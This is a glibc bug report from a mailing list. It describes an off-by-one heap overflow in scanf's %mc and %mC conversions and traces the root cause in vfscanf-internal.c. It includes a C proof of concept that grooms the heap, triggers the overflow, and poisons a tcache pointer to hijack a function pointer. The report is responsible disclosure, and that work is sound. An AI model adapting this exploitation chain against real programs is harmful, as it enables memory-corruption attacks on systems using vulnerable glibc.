[Bug stdio/34008] New: stdio-common: scanf %mc pattern will cause heap overflow when width > 1024
marocketbd at gmail dot com
sourceware-bugzilla@sourceware.org
Thu Mar 19 17:36:01 GMT 2026
https://sourceware.org/bugzilla/show_bug.cgi?id=34008
Bug ID: 34008
Summary: stdio-common: scanf %mc pattern will cause heap
overflow when width > 1024
Product: glibc
Version: unspecified
Status: UNCONFIRMED
Severity: normal
Priority: P1
Component: stdio
Assignee: unassigned at sourceware dot org
Reporter: marocketbd at gmail dot com
Target Milestone: ---
Flags: security?
In vfscanf-internal.c, when reading input via %WIDTHmc or %WIDTHmC, it reallocs
one byte less than WIDTH, which leads to off-by-one overflow, may allowing
attacker to trigger RCE. Down below I attached a poc to demonstrate the chain
from a scanf format to pointer hijack.
This bug originate from glibc 2.6, commit 874aa52349c. It seems that the coder
thought one byte in stream has been consumed, so only `width - 1` bytes should
be expanded, however, actually the byte is written after the string expands, so
allocates one byte less. There are 3 code points in stdio-common, one is at
line 859.
Take an example from poc, for a pattern like `%1033mc`, `&buf` should be
written a string pointer, the `*strptr`. `strsize` is the current size of
allocated string buffer, `str` is the current cursor where next char from input
should be written, `width` is the remaining count of bytes to read. To clarify
the bug, we could assume WIDTH is 1025, so `newsize == 1024 + (1 - 1)`, no
expansion; but at line 894, the byte is written into `str` (`str == *strptr +
strsize`), leading into one byte overflow, controlled by user.
This could be a vulnerability when coder use glibc and the WIDTH equals to
0x..8 (but must be greater than 0x400 to cause `*strptr` to expand), so the
next chunk size could be written; or even worse, in the %mC path, user could
take control of next 4 bytes. The poc down below indicate this case.
I'll soon send a patch to fix this problem, and please reply if a regression
test is needed.
---
#include <assert.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void normal_func(void) {
puts("We are safe :)");
}
static void malicious_func(void) {
puts("Got hijacked!!");
}
#define width 0x409
int main(void) {
__attribute__((aligned(16))) void (*func_ptr)(void) = normal_func;
char *buf = NULL;
char *input = malloc(width + 1);
if (input == NULL)
return 1;
memset(input, 0x61, width);
input[width] = '\0';
// layout heap...
size_t *chunk1 = malloc(0x408);
size_t *chunk2 = malloc(0x28);
size_t *chunk3 = malloc(0x28);
size_t *chunk4 = malloc(0x28);
free(chunk1);
free(chunk4);
// before off-by-one: [chunk2 ][chunk3 ]
int rc = sscanf(input, "%1033mc", &buf);
assert(rc != -1);
// release [chunk2 [chunk3 ]]
free(chunk2);
free(chunk3);
// now hijack chunk3->fd via chunk2
chunk2 = malloc(0x58);
chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12);
// allocate chunk3 back, which is now at &func_ptr, write with another func
size_t *chunk5 = malloc(0x28);
chunk3 = malloc(0x28);
*chunk3 = (size_t)malicious_func;
func_ptr();
free(buf);
free(input);
return 0;
}
--
You are receiving this mail because:
You are on the CC list for the bug.
More information about the Glibc-bugs
mailing list